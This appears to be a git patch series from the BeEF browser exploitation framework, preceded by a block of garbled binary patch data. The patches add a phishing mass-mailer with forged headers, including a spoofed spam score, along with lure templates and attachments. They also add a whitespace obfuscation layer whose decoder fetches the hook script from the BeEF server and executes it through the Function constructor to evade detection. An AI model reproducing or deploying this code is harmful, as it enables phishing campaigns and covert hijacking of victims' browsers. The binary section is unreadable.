zg8{y7t_TSZ?DCD4EnNh+L7qbQldeeXfSj}({N?HAQB_%mfB=8oIC~baHxY>jklrEP z8VMl%L6jj#rLdIy5zY7-#?;^HNyeW-hoY z8WPH0(~WX;XEhGQ9KmzX|C|4L_nph(;_o4Roya8MQwHeOG{-_NF8VO>e^P-c zx120yf5v_yKzc`{*_cGzfp&1RBUB263=P74w=KhqFFf7tw{muJ?B-{hxzXNGSbi~n2_QWK2yJ6ja6>M@cnCoyN^~o|!hWl>2nNbgq7vD$A{acy z-M{-p5`h+@$-*KKC^$ztKRrjW3$|<9IjIri>Lqs z-6Tf`#KfJzk3X%))Txsg%$+OZ0K>-LI9E`|eLlH4-2z-3Jd-WsI(=w2lnkIaHx0OT%@BRDHCtu=| z4_}9$n-&Gxg%*Ge5+$ZI9? z(*p$=P1U&GB1-`2CO{}h=pa)KM%uBR@~f{t#*@#yh{Fft$t!Xr z9c~rBYj~$Nfl&kmZ_1{G(p3v5tqZhn9?-gb!_n0fcFu0FcXo%y-4}Jmx!Cp7N~VxB z;*kgM!+Y<(+^TbXU(y#}tip%i{Vb?!a#=HoyF<)iH&@i+ho66ehg&OCO5J0XQu1OU zhN)E#oleg}Sy=^kZ(EHe%YKht+xG)nbvWB_*bvniHgb^K}8eDAOWQ30IB9in+(wxic3(h)4@Tl=AM_2-~Bfh-T6lpkr%|t;SUg^ z#NS?~?@LDayNoBbvMor3V&G7Cdmtn{68^)+LK_ec1zYH5rY@0$Xl&4R+fhoYR^F+D zT(w%fbRllI;d-n85TntEqeo6)+xFkEeNPMyC#4Egr$}OG)y>AXHGFw3D-+qLh%8YL z077>nk9Mr`$|@8VmNfb5Cr%oRzd!mQo_y|AOA*eq5aJ~H{rEj8y8RU6XPfnBcGL9+ zE-};rz8DfU7QVwLK|f74)N+Lq#@b3`B%h?VhPd;#TdejYii=8kGU1M0 zdvWNQCQ; zgNR~WRnpS$IY9F1M%6XwQB_^j?!?#r^(^Agq@W<{0tLt(f{>wlypO*hxo*D@Jyp$8 zgDs@Mv12iG>W$EN2g6L#qTYJVI|?&sR*eZ$#*c-)on4P!OR5urV&kSA*n1$BU$eY| z5`er>3YpMB(dDvwS$9awzIOn*KmgIP8(dk@euEh~DhdzYa|d300I#R2H%-scJue|{QV`gzxifoG>rD0q|y)rQMs^|jKLfGSLCQs=0YmXm0 ziLK0@pq8Ntsp%-mD;DyvNJ>!Pkn9TCWxwCK5w zOH1MGz0HMK?&ph!6mL)$3=MV~fn(Ph#(W5bP-knf6xmi`6 zY6TFsK{QmB0@Zc!^7BGapntn_a07xeJx3kO9u$EfMtApuBvJtR+N{Uk4pCU$dQpv$7ao%iiOjs;Fq=A$Rk6EffQYT z=@P!jWYOmEX!2As{e9HjMFKeVI%aP4&y+DU89YofWEYiU;qrTtk;PQ@+6F;&a&;Ui zfM`jyc|9pD^Jq+$Q0do{ zjvh60E&?ac7hJgJ{+mxpZes_nJLC?cp-pKYiUHf#f?VWxF)ovqxwRw+u|kG2W`j_` z%R(;B&iH=qdgSM|_7MK%|Naa|KQ{p+G8x^B8+!2BWZkZW&=Ew0Xgxy5k4NaV#XR`e zU*I4iK`{`STmgGGU%0t@3f{AUNwm?Cck%a<slHOZDoLfi(_US*VO5dot4+D2l;sM zQ@>lY9z})4tzPid6A!{aEPyX?2<`UY#KqeQk3qy7aU`(Tf>tgX0#w&~4FEr6!f zGxcKDG~;YqbI^5AfG-mc3LXo{Nz28D zE52;^MsL6VPXvSw0xETu0-gIHOk4dLLc01P#_db<3`T@UkB8db4~>St*#PBoIphwG zsLV`4+|M83^o~t15ip!I%~NFu4ka`GgXj?1C@tas1xN-L)65P@Nk7-*$)bUg?v9Sa z=4z+F_rGpJ{PBb~2KyMi`|1nO1~41FqE_$%nYjcZKRm@rhPUc6C`u27ryKl-Phcix z-x%eTfXIvuWHWVY-|Ej%md<`6rI7F%?Ew|n$Ppzo&29S%S63HIn*j(F(-c!sEG;)5 zv9ZVaK{q!Sc)4nYAfDO|WjV!o?TruGz1i~Ri?Qyj6_{|%7@=`O6_X}a^&;zdO@xP+ z8+?2{gy)&`2n-E}qjw;TeIPxkww#Kn&TRb#3EO@Z8aX(&Ogm=}bOr&iGMg16lwb3? z2n@2_N~L9c`HXbB8S|MXKBR$3frzkBOq(`|Ei@HYulW_3mRa0vF;Thb(7-_$(IN$f zh=$$YbLTRIvFEg|PH^*dL2$4?#*B%^t;-hS(Fg9s;lsyJNC|)Jy@pS}0UFN$t9!1< zOGSx?CpUeCoMQ~=YWw!1%<2soJY*264F;H~skH5Rt};b+>MaQUlO^hBYU_?QapO-e zn?urK>&`vA2877p&ks%A2?Ke}G5N@c6E z)ivukS@O5w8xRURCpTt(7_Ik%6bhbjczV~5$R}_(b^wk#Jsg;1dz;xz!J$ET`l*NU zAd`Ar1+xva%%fKGI5$2|77TsI^!7}E@aPI(_5vqL)zYT$R@Rlyj1cw;2`G#JNA!9AHbqT^O_Dn z_Q)R*6c*TWWZC5+GRFQ2sdui;0))!-zT=OWDz)*q{fLV@hM7#28bUL@^(}ULF~jwZ zm0#kY|9tbJAGUk<0TdOLbK98r#Ptq>*-Q@Zw3(S80SiRH7c@`5g)U~qT97Usj3cB zrjN%vZ+2X|GN_YjvzI}=l4f_13T{!0 zM@XD%L_6>ItJdSdv3Sg#F%6?fM#06!nb&d@Tqwf6gK^j%cZ|2?r*c(SPhTkP9D3E< zts|pcUt5X9U29=3tK_O*D`SFekcv8l3=6@hAHELnPG)s9nrtG!&#&DP-aXRTv3*1; zq)H*JD^|r*w8Z7Y%;=_#J%q#s9EvOHAk0bvmI9D6hb?7aK2=)F9i1 zI(^X1WY4SITrhRXebD-c!Km+jt5~u-WX$e3wfReA9yua{qYYKp!z0iOt3G)T^XAR! z^u6XUxE_kigB*3VYFccIa zEp7+KE*WeYXVW`?s2q?RzXzF?SVvo8HU~|5{q(I@y9CFPBPVd|Op4&bzPv<(LjMNA z#mldkN+HLXF(WW^=#X|N`}_G0#7f5jZ-X@Ly`Vsq*&Ii1-Rz7!eDUKNCJ5}huC(Ks zfigi2vkZTcwb2>W4#>;QKuvKr&#vvQ-BDF=4kr(67d}JY<~vpD;2z+GFW!C?OP4O} z^1a@9cO^=*iv%!Vexmf8r!49rIWqKmy|h|wP=XLqlWNKu{gkOq3rmX21#nzyDJs3b zMh9JaF`RuvdyZ^{lF#!Pb^&D2)W(~b)0>?Z0 zGrQybf%Pa(P8EWIEe%>m3l?3E_uhUPVPS(ieIJU;yztLAug?QS#ymByqs)U^T|FvmYgNS+)$gFL!LGhRPpKxC%Y#534gbsFSvyY(a+_n67Zr&9 z3Fp!>GxS8^rY}n!-D4q?bPl!7w~(Qyp%5yOt;$Kk>BIXhMOrOgQP5~L2nh}f9&fCr;}V7jg8M;CV zuEFx&Sfpzq6zfpQ?ET^n(|Zx-pyuX7ceh7Aze87zQ@^cex2#quc4~R8n9WmHTaOi= zeTx;}uZFv`Biyx4Ok0ujt|evFH7KFimDLCyH5c3R{x~{nI0pv@V*L2gShj2tf#q3^ zMoq>$McDhh5rc!cXkGj9GfkanDddIe&-sd`-nwk4FrAXHDB@0|5GZe`XHhoVt(ie= z@8~KFyy>oLrLsrnfnQN}Hl1B6O~)GvpY3PIV+Uo$6(}n#6Qls?^5i@q`^PrAt#^yO zyl6xUFRP_Rx*YwRF?P9JWTtK&>q~09)TU1+U@o} z3i4WIB_laLPN*Hf7@7zOl=o$6DorkEQl;qlz_fcUCAJdvqrPViqWau_i9op%;A5jJ zyIj3&cXxI3fP>ZpCd0*Dn3SbU0mY-=MIbF_RA$_pkiVNCeq}##`?z6Bl{WxlULa8brLg=1I z36O&X^~%Ik(LI7Ax^-hIAXr_HfzwA1*mS?Dk5+tvRX?v|8@j587t74FJ_W9sI36#) z@K6VTv{Op1Z|Vj(=%}LXd)lq)^l^v zjJN~G;l!lKOD}cV=2%uzTq=8eT9=&bivb%sXl-PAYJI?&sLyi z6Tr)Fw`c|;K$bLP+z2}#PxwYogxS<}sV$|$>&gmn`tTkx1;e&oPkKJLoo!;3rk-o$ zq$V+GIeEgkE>DYzi9P$lXW!fem4X_7yIjK8B~d&<Ghg6-6=Sbc%?2S6y% zYG(5)G9V-(8V=MbuFEtN8N-7d>2cf8kY8xis+EOCkBY{uIn$X9V%I}#m|-%TxDE33 z(+_v4uExY1Xw=u~{{xMkixs~*^_Zpk7IPt_74?M3uB4{rwN{WM^m-~eUMZ@8y#Z_O zKm*7e5hOyQA2TZbhmF7J#3-e`14`23aXulw<1}^~q=z25k8@v9Rb|zI@7DaHWqU^u zkL7f3oHw>uEEcsxaS_8ciZSKUyxzmFMcw=#vf|G)h-zPN075&{YvS*gUm{Q`wd#|; z1_*u0vT^2^81s;k z5W4Cs=0-7IHD=TZ-Ok;I zfY8*P>zh8SK@Zr(pZf+k&; zk`b9v=^Hwnd!`yYF)n2)2Na!&L(Zwh7RiXR0RxhcKK=^d{I~}8J@jH()~%yPgPRu2 z!(X3%q{B1H%F0_e?(2B>z0`Zx)3kOnrk{Y&RQpns!YonrQ#Nord3?v30HH`O)l$zD zA3L#oE`z}!7}_4La199K?##~Y4t-TAlDJ{cHW6x9su%4P0*li2r_G)}pM~U;$-Td< zjg2^X;xvYa4aQANZs_1?n{1awk$7r$XA6;ZT3pl_v;mhE6QLVOW9_P~1rQp>NjX>k zyuU5oNQHvCXPrEJpw>9TCpa7qZaz%C>NsI#MENwx3gMrx4rBCyP?+zy{stJPhpZ#r=|H}!IHSds*5db88o z$SolCj68A0wxnWFoZ}lVG3pJ__<18JED~Dp00s^}*g3gEp>}4Qs*2A&H+P|ft2EB= z8a}y&yfvdyUyp{GN>pFSL}5k}ax>Fmq$Ujn5*w2$N=h@KLM_I<38cf$gh|mOF?Y_4 z4$q-EEnOsQQjQ8`Pgi&2zBY(PeP@PzPj_uw5^YLbdNW!F4|8xZbx7mygKKWS9~$pK zVPX`M3N&|+q(gU_!*MCnGB-;m)RC)QJ)v>;fluUQgq7wYH{k$M;t#XEuGXf4h=2Oy zU6^{!L?%gk4qS?+Ycy(%9Ww&Hem)(ZwG)Dt(se@WokEH zgkOIZ|oX@tIK;noI!#VdAO`0%9sEi~-y}hax0U_?R`66#aK%yD-*LNa4 zuI(W}$RYE`KKQv5^!&IN0I?}?WXGB6y=e}Jqn1kz3yfu?lgkzCUdnk(8#C`Q(pt%) zmv)qcNavE;Wo|SuVbmo6P8^NM;6XTZ>MY=_ zZW~RfU6-S#IgiEAROZ&)$P1LrMBMXcOZwbleR144c5yQ5r>~-^f7X=pBU7GZx^;uRn+` z=05OlUHq$sfnDjdC;qp(3 zM}Fcd>#JHKII60vQAv&GiuyQJiTx-aAFo;`XGgLliXgaf*E8P0Y`l6=KGKLRYLKyv zG5N;H_2n$8Q09v)B1#7*kWt(u20{X3dMD?XivX(WM{sCFRj=*upzD!|jyo&z8gleL z6S$L$VSTXv$S9f8Vj-Max0 z%R-}sMIA1l_oNnq*Pr=Obn_a}zFz)fofXaE^|IP`wN_BYS@e$dZF@>u^v)U>i%N0e z*KaZHW(C|sNAM|Cq;k0i4~MI-FDkNgtv|+qeRk1>vL-KGA5t~yb&tdzIkv9{uc;Tg zs1Lr6PGno429XDh4Z@u(jK35`efu51x4XHy3vH5WM5=0WWXlhjwoJ=xkU$O)Y7gWU z5R8iRS+HUQ`WB{dpJ!E6F?H@iG&F23EGmXXm!GU*&HkeuIH>Pcm5u|%juvxIok}!T zjT%df13xy%(fgFSi)Va)mT^@Jay4ObDsY%~Yr7 zM(s7z$K$W>iS67GZ=vF_jgN$S%>-#^5Ll3&`yQq6LF|3%3^=Yh1!#WGqW#|@m-AXMemvvNMyqR zxdxV$1zL|x9h%H`{H<%h#h>oK8@V}o_~5fI`C{*}XWGdg2`5vqVZ(NO^VLUq`q4iL zA7V7M7dODi|c658Bdbo2II z!j9i{|E5mt5Hnx&S$X*|GJ8bH9{-2gGx4XAa3T1;FrK7YUM;Oay z8$`ji1jgGLuVb7fExD^hf>58O;TEHO);M8Qn1%9k^O03>K^Sp%31k-2-H8GQ`Qx@F z3k6rJxxL*&_D8|llc*{wy_^6siM9kqrm5pOrIb_e+?OSATwM}`(xx@sQ^ah51@l{v zS-wzMj5}6AsN^@vb|U;r%baMOjHjYw*$hL6Zp?XU_<^Sp8>z z)QNzgCeWl0Qp^5S2qm9pX?b0}0HKJvJs+dy?u6kHVXdC@aCe10?c$cXfW1+%*!qeH zZ~eYO!GjRwImTxTqcA z?&03*NwP(PeSMIho+nhm^>|;_!^z(RH!oSx+VD{*T1k|)YE~bEgE|(jX8b=k0elM~R`EATfjkKyJs_$lNFZ0NuB;lVsqIS%+}+*q&41s= z;wAG1Tcom1$gOHH3S$t+1xyig0!39l+o$W`g_jXK}G`7PJ%RHZrAJ(oHq*32FsmKdOqH6oI#z{q030C#LrF( ziP17(*p`M23E|umDl9C*gOB_T>o@G=Ia+-nJxE&oopG|X93--q4PqghgPupOT(S-B z`^z(U?X~yNP;Z@X_}_oO4zm~BhV|>V3mL)I4FHm7fkfU?2^v)^FL4Ki_v3=FgjjL4g51dc$++nb^H&A6EUe4*QNL3iTi^R&NS-jPZkv zk4sBHqP_$O5w-pCWk&aFybj!C#?jc5IGUJ(uwZ|T9~q4i(UBNEDhgp?A#ihbXOVP=96biU$ouF&bqn4>+2BQhJG!LX&Cj<$phZd<* zE-GsW1F7cXB?u#nC6cIL0YdaX1UKocY++C1X&+AF?$6eFW4#_#bwWdm(!w&ashnt2 zSo&YJG%>6T4g&9E5N3f(B++F72obfap&SzmvfT}##ePszo|GlNr|Q>+1f)vc2fJfO=Mz{v zBN`h<$%Zs>H(t7}5)A|+y(dJe<$FXXFIN + + + + +Hi __name __,
+
+We would like to inform you that your BeEF order has been successful.
+You can check the status of your hook at the following link:
+ +__linktext__
+
+Regards,
+The BeEF team
+ +__img1__
+ + + \ No newline at end of file diff --git a/extensions/social_engineering/mass_mailer/templates/default/mail.plain b/extensions/social_engineering/mass_mailer/templates/default/mail.plain new file mode 100644 index 000000000..4b57cf16d --- /dev/null +++ b/extensions/social_engineering/mass_mailer/templates/default/mail.plain @@ -0,0 +1,8 @@ +Hi __name__, + +We would like to inform you that your BeEF order has been successful. +You can check the status of your hook at the following link: +__link__ + +Regards, +The BeEF team \ No newline at end of file From ffbd3d65b9b7338afd000dc2972f06c14625d1e7 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 27 Aug 2012 21:30:09 +0100 Subject: [PATCH 006/397] Social Eng. extension: various fixes, link/linktext/fromname configurable, adjusted various email headers --- extensions/social_engineering/config.yaml | 2 +- .../mass_mailer/mass_mailer.rb | 33 +++++++++++-------- .../mass_mailer/templates/default/mail.html | 6 ++-- 3 files changed, 24 insertions(+), 17 deletions(-) diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index d5b3444b2..ad4c5d529 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -28,7 +28,7 @@ beef: port: 587 use_tls: true helo: "gmail.com" # this is usually the domain name - from: "yourpass@gmail.com" + from: "yourmail@gmail.com" password: "yourpass" # available templates templates: diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 66a965f4f..0a25d4db9 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -37,7 +37,7 @@ module BeEF # tos_hash is an Hash like: # 'antisnatchor@gmail.com' => 'Michele' # 'ciccio@pasticcio.com' => 'Ciccio' - def send_email(template, subject, tos_hash) + def send_email(template, fromname, subject, link, linktext, tos_hash) # create new SSL context and disable CA chain validation if @config.get("#{@config_prefix}.use_tls") @ctx = OpenSSL::SSL::SSLContext.new @@ -45,13 +45,19 @@ module BeEF @ctx.ssl_version = "TLSv1" end + n = tos_hash.size + x = 1 + print_info "Sending #{n} mail(s) from [#{@from}] - name [#{fromname}] using template [#{template}]:\nsubject: #{subject}\nlink: #{link}\nlinktext: #{linktext}" + # create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server smtp = Net::SMTP.new(@host, @port) smtp.enable_starttls(@ctx) unless @config.get("#{@config_prefix}.use_tls") == false smtp.start(@helo, @from, @password, :login) do |smtp| tos_hash.each do |mail, name| - message = compose_email(mail, name, subject, template) + message = compose_email(fromname, mail, name, subject, link, linktext, template) smtp.send_message(message, @from, mail) + print_info "Mail #{x}/#{n} to [#{mail}] sent." + x += 1 end end end @@ -59,18 +65,15 @@ module BeEF #todo sending to hostmonster the email is probably flagged as spam: # todo: error -> 550 550 Administrative prohibition (state 17 - def compose_email(to, name, subject, template) + def compose_email(fromname, to, name, subject, link, linktext, template) msg_id = random_string(50) boundary = "------------#{random_string(24)}" rel_boundary = "------------#{random_string(24)}" - link = "http://127.0.0.1:3000/demos/basic.html" - linktext = "http://antisnatchor.com" - - header = email_headers(@from, @user_agent, to, name, subject, msg_id, boundary) + header = email_headers(@from, fromname, @user_agent, to, name, subject, msg_id, boundary) plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),boundary) rel_header = email_related(rel_boundary) - html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),rel_boundary) + html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html"),rel_boundary) images = "" @config.get("#{@config_prefix}.templates.default.images").each do |image| @@ -84,12 +87,16 @@ module BeEF message end - def email_headers(from, user_agent, to, name, subject, msg_id, boundary) + #todo "Michele Orru" need to be configurable + def email_headers(from, fromname, user_agent, to, name, subject, msg_id, boundary) headers = < +From: "#{fromname}" <#{from}> +Reply-To: "#{fromname}" <#{from}> +Return-Path: "#{fromname}" <#{from}> +X-Mailer: #{user_agent} +To: #{to} +Message-ID: <#{msg_id}@#{@host}> +X-Spam-Status: No, score=0.001 required=5 Subject: #{subject} MIME-Version: 1.0 Content-Type: multipart/alternative; diff --git a/extensions/social_engineering/mass_mailer/templates/default/mail.html b/extensions/social_engineering/mass_mailer/templates/default/mail.html index 5620d00c8..195f9a116 100644 --- a/extensions/social_engineering/mass_mailer/templates/default/mail.html +++ b/extensions/social_engineering/mass_mailer/templates/default/mail.html @@ -3,17 +3,17 @@ -Hi __name __,
+Hi __name__,

We would like to inform you that your BeEF order has been successful.
You can check the status of your hook at the following link:
- + __linktext__

Regards,
The BeEF team
__img1__
- + \ No newline at end of file From 788cef08d3f18ab2bd2946219027e2a0f0cd57cc Mon Sep 17 00:00:00 2001 From: Jean-Louis Huynen Date: Wed, 29 Aug 2012 13:54:26 +0200 Subject: [PATCH 007/397] add whitespace obfuscation technique - should work in theory - but does not in practice --- extensions/evasion/obfuscation/whitespace.rb | 84 ++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 extensions/evasion/obfuscation/whitespace.rb diff --git a/extensions/evasion/obfuscation/whitespace.rb b/extensions/evasion/obfuscation/whitespace.rb new file mode 100644 index 000000000..5f640651c --- /dev/null +++ b/extensions/evasion/obfuscation/whitespace.rb @@ -0,0 +1,84 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Extension + module Evasion + class Whitespace + include Singleton + + def need_bootstrap + false + end + + def execute(input, config) + print_debug input.length + encoded = encode(input) + var_name = BeEF::Extension::Evasion::Helper::random_string(3) + + config = BeEF::Core::Configuration.instance + hook = config.get("beef.http.hook_file") + host = config.get("beef.http.host") + port = config.get("beef.http.port") + decode_function = +" +//Dirty IE6 whitespace bug hack +#{var_name} = function (){ + jQuery.get(\'http://#{host}:#{port}#{hook}\', function callback(data) { + var output = ''; + var str = '//E'+'OH'; + var chunks = data.split(str); + for (var i = 0; i < chunks.length; i++) + { + if(chunks[i].substring(0,4) == '----') + { + input = chunks[i].split('\\n'); + input = input[0].substring(5); + for(y = 0; y < input.length/8; y++) + { + v = 0; + for(x = 0; x < 8; x++) + { + if(input.charCodeAt(x+(y*8)) > 9) + { + v++; + } + if(x != 7) + { + v = v << 1; + } + } + output += String.fromCharCode(v); + } + } + }alert(output.length);[].constructor.constructor(output)(); + }, 'text'); +} +#{var_name}();//EOH-----" + + input = "#{decode_function}#{encoded}" + print_debug "[OBFUSCATION - WHITESPACE] Javascript has been Whitespace Encoded" + input + end + + def encode(input) + output = input.unpack('B*') + output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ') + output + end + end + end + end +end From e86712413ca64d0c9f0a646ad1481320680153b9 Mon Sep 17 00:00:00 2001 From: Jean-Louis Huynen Date: Wed, 29 Aug 2012 18:22:22 +0200 Subject: [PATCH 008/397] modified whitespace evasion technique to keep it simple - modified beefjs (just one line, i don't had much time to investigate my change but it seems to work better with it than without it :) --- core/main/handlers/modules/beefjs.rb | 3 +- extensions/evasion/config.yaml | 5 +- extensions/evasion/extension.rb | 1 + extensions/evasion/obfuscation/whitespace.rb | 76 ++++++++------------ 4 files changed, 35 insertions(+), 50 deletions(-) diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 8e30ae735..38e48f05c 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -104,8 +104,7 @@ module BeEF if config.get("beef.extension.evasion.enable") evasion = BeEF::Extension::Evasion::Evasion.instance - @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) - @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate) + @hook + @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook) else @final_hook = ext_js_to_not_obfuscate + @hook end diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index 712989a31..7d9db7f91 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -16,7 +16,7 @@ beef: extension: evasion: - enable: true + enable: true name: 'Evasion' authors: ["antisnatchor"] exclude_core_js: ["lib/jquery-1.5.2.min.js", "lib/json2.js", "lib/jools.min.js"] @@ -26,4 +26,5 @@ beef: beef: "beef" Beef: "Beef" evercookie: "evercookie" - chain: ["scramble", "minify"] + #chain: ["scramble", "minify"] + chain: ["minify", "base64", "whitespace"] diff --git a/extensions/evasion/extension.rb b/extensions/evasion/extension.rb index ce1fc360e..e7e5c25d5 100644 --- a/extensions/evasion/extension.rb +++ b/extensions/evasion/extension.rb @@ -30,3 +30,4 @@ require 'extensions/evasion/helper' require 'extensions/evasion/obfuscation/scramble' require 'extensions/evasion/obfuscation/minify' require 'extensions/evasion/obfuscation/base_64' +require 'extensions/evasion/obfuscation/whitespace' diff --git a/extensions/evasion/obfuscation/whitespace.rb b/extensions/evasion/obfuscation/whitespace.rb index 5f640651c..8c20217f4 100644 --- a/extensions/evasion/obfuscation/whitespace.rb +++ b/extensions/evasion/obfuscation/whitespace.rb @@ -20,56 +20,40 @@ module BeEF include Singleton def need_bootstrap - false + true + end + + def get_bootstrap + # the decode function is in plain text - called IE-spacer - because trolling is always a good idea + decode_function = +"//Dirty IE6 whitespace bug hack +function IE_spacer(css_space) { + var spacer = ''; + for(y = 0; y < css_space.length/8; y++) + { + v = 0; + for(x = 0; x < 8; x++) + { + if(css_space.charCodeAt(x+(y*8)) > 9) + { + v++; + } + if(x != 7) + { + v = v << 1; + } + } + spacer += String.fromCharCode(v); + }return spacer; +}" end def execute(input, config) - print_debug input.length + size = input.length encoded = encode(input) - var_name = BeEF::Extension::Evasion::Helper::random_string(3) - - config = BeEF::Core::Configuration.instance - hook = config.get("beef.http.hook_file") - host = config.get("beef.http.host") - port = config.get("beef.http.port") - decode_function = -" -//Dirty IE6 whitespace bug hack -#{var_name} = function (){ - jQuery.get(\'http://#{host}:#{port}#{hook}\', function callback(data) { - var output = ''; - var str = '//E'+'OH'; - var chunks = data.split(str); - for (var i = 0; i < chunks.length; i++) - { - if(chunks[i].substring(0,4) == '----') - { - input = chunks[i].split('\\n'); - input = input[0].substring(5); - for(y = 0; y < input.length/8; y++) - { - v = 0; - for(x = 0; x < 8; x++) - { - if(input.charCodeAt(x+(y*8)) > 9) - { - v++; - } - if(x != 7) - { - v = v << 1; - } - } - output += String.fromCharCode(v); - } - } - }alert(output.length);[].constructor.constructor(output)(); - }, 'text'); -} -#{var_name}();//EOH-----" - - input = "#{decode_function}#{encoded}" - print_debug "[OBFUSCATION - WHITESPACE] Javascript has been Whitespace Encoded" + var_name = BeEF::Extension::Evasion::Helper::random_string(3) + input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();" + print_debug "[OBFUSCATION - WHITESPACE] #{size}byte of Javascript code has been Whitespaced" input end From 92b2382e2552fede1df1051c0e0b94822bdc676e Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 17:38:37 +0100 Subject: [PATCH 009/397] Social Eng. extension: added support to specify attachments, added automatic MIME type guessing --- .../mass_mailer/mass_mailer.rb | 46 +++++++++++++----- .../templates/default/beef_attachment.pdf | Bin 0 -> 33184 bytes .../mass_mailer/templates/default/mail.html | 2 + .../mass_mailer/templates/default/mail.plain | 2 + 4 files changed, 39 insertions(+), 11 deletions(-) create mode 100644 extensions/social_engineering/mass_mailer/templates/default/beef_attachment.pdf diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 0a25d4db9..ae0feb901 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -47,7 +47,10 @@ module BeEF n = tos_hash.size x = 1 - print_info "Sending #{n} mail(s) from [#{@from}] - name [#{fromname}] using template [#{template}]:\nsubject: #{subject}\nlink: #{link}\nlinktext: #{linktext}" + print_info "Sending #{n} mail(s) from [#{@from}] - name [#{fromname}] using template [#{template}]:" + print_info "subject: #{subject}" + print_info "link: #{link}" + print_info "linktext: #{linktext}" # create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server smtp = Net::SMTP.new(@host, @port) @@ -62,15 +65,12 @@ module BeEF end end - #todo sending to hostmonster the email is probably flagged as spam: - # todo: error -> 550 550 Administrative prohibition (state 17 - def compose_email(fromname, to, name, subject, link, linktext, template) msg_id = random_string(50) boundary = "------------#{random_string(24)}" rel_boundary = "------------#{random_string(24)}" - header = email_headers(@from, fromname, @user_agent, to, name, subject, msg_id, boundary) + header = email_headers(@from, fromname, @user_agent, to, subject, msg_id, boundary) plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),boundary) rel_header = email_related(rel_boundary) html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html"),rel_boundary) @@ -80,15 +80,19 @@ module BeEF images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary) end + attachments = "" + @config.get("#{@config_prefix}.templates.default.attachments").each do |attachment| + attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary) + end + close = email_close(boundary) - message = header + plain_body + rel_header + html_body + images + close + message = header + plain_body + rel_header + html_body + images + attachments + close print_debug "Raw Email content:\n #{message}" message end - #todo "Michele Orru" need to be configurable - def email_headers(from, fromname, user_agent, to, name, subject, msg_id, boundary) + def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary) headers = < Reply-To: "#{fromname}" <#{from}> @@ -144,15 +148,29 @@ EOF def email_add_image(name, path, rel_boundary) file_encoded = [File.read(path)].pack("m") # base64 encoded - #todo: content-type must be determined at least from file extension, not hardcoded image = < Content-Disposition: inline; filename="#{name}" +#{file_encoded} +--#{rel_boundary} +EOF + image + end + + def email_add_attachment(name, path, rel_boundary) + file_encoded = [File.read(path)].pack("m") # base64 encoded + image = <#vvHe)R z&Dh+6qn>2AfmH9#Zc&Z~q#xoQ(k<}=>7s#r<&B7pD@wUQ3=$_eTI)d$?)v8|KyH?5WG-MF1FlFC-_^|tu80%A%t z#KfW!tXgUZ?%i(l@UaF`OHAQZtya$07$-X)d_!qaA4tB*p@gwA7#L9hte2uqYf+Az;_VevrjgvkjQ-}|{Egbh?ff!rI<(J% z&9)Y&@UkwI-c%TExm>CzLFp4p_Wfzx6qItBAC|I0AR;+@nN!a-$p9aU)B-MMCs`T8 zuD2P3AL6V;%|LEQr6hY2RkpFAM`Dn)#hCNTSBttQLhUKVFM?mrg|#G=KRVKMuN_@| zS+IV6ez~)bSc{olMRvZxAz%4HRJ8JFB=7o`jyJUC!v_aD2QaZQ{%2(0pZ);i4+{R= zS=m|sWd3<%{tv9ExP3JNF(??A{&lrCv2g^k{EZtW69-!-dm|GE5c}T-VOtx=_k0J? zAFRCtOV-5L+(5|I6{OAhZeV9(261pP>jK`f^-nv0-uoAm3ih@}$|jB=?f1q+#6S!x zCa#Vk21)DphK2sQ3;%PM1nGhpgl(;C?Ulb87@2_nKw8*=3B>WI+4t(-q5SU2UuG2* zCVD0i*WdoAs4%}Ln3(=b{VAp)Z)jm+^mj=~>-Vfbfh)a({}2BE@$oO)zfS%$ahU$; zfxr9a-&z=yoeUlS>aD-L1~I6c8^6yoW=2L3gM^8>shJ~)iIwX;hWB2w|7!bZwgDXN 